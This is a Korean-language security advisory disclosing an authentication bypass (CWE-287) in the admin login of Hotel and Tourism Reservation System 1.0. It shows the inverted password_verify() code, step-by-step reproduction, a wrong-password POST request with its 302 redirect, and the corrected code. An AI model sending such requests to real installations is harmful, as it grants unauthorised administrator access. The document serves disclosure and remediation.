
| 필드 | 세부 정보 |
|---|---|
| 제목 | Hotel and Tourism Reservation System - 인증 우회 |
| 공급업체 | code-projects.org |
| 제품 | Hotel and Tourism Reservation System |
| 버전 | 1.0 |
| 취약점 유형 | 부적절한 인증 (Improper Authentication) |
| CWE | CWE-287 |
| CVSS 점수 | 9.0 (치명적) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향을 받는 파일 | /admin/login.php |
| 인증 필요 여부 | 아니요 |
| 원격 공격 가능 여부 | 예 |
Hotel and Tourism Reservation System 1.0의 관리자 로그인 기능에는 치명적인 인증 우회 취약점이 존재합니다. 이 취약점은 password_verify()의 반환 값에 대한 조건 검사가 반대로 작성되어, 잘못된 비밀번호를 입력하면 접근 권한을 부여하고 올바른 비밀번호를 입력하면 접근을 거부하게 됩니다. 인증되지 않은 원격 공격자는 유효한 이메일 주소와 임의의 잘못된 비밀번호만 제공하면 전체 관리자 액세스 권한을 획득할 수 있습니다.
파일: admin/login.php — 39–46행
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify()는 제공된 비밀번호가 해시와 일치하면 true를 반환합니다. 개발자는 성공 로직을 else 분기(함수가 false를 반환할 때 실행되는 분기)에 배치했으므로, 잘못된 비밀번호에 대해 인증이 허용됩니다.
원격의 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
설정: XAMPP에 Hotel and Tourism Reservation System 1.0을 설치합니다. http://localhost/ht/에서 앱에 접속합니다.
1단계: 관리자 로그인 페이지로 이동합니다.
http:///ht/admin/login.php
2단계: 유효한 관리자 이메일과 아무 잘못된 비밀번호를 입력합니다.
이메일: [email protected] 비밀번호: wrongpassword
3단계: 로그인을 클릭합니다.
결과: 애플리케이션이 인증을 우회하고 관리자 대시보드(index.php)로 리디렉션합니다. 즉, 잘못된 비밀번호로 전체 관리자 액세스 권한이 부여됩니다.
요청:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
응답:
HTTP/1.1 302 Found
Location: index.php
index.php로의 302 리디렉션은 잘못된 비밀번호로 인증이 성공했음을 확인합니다.
password_verify()가 true를 반환할 때 로그인이 허용되도록 조건 분기를 바꾸십시오:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — 독립 보안 연구원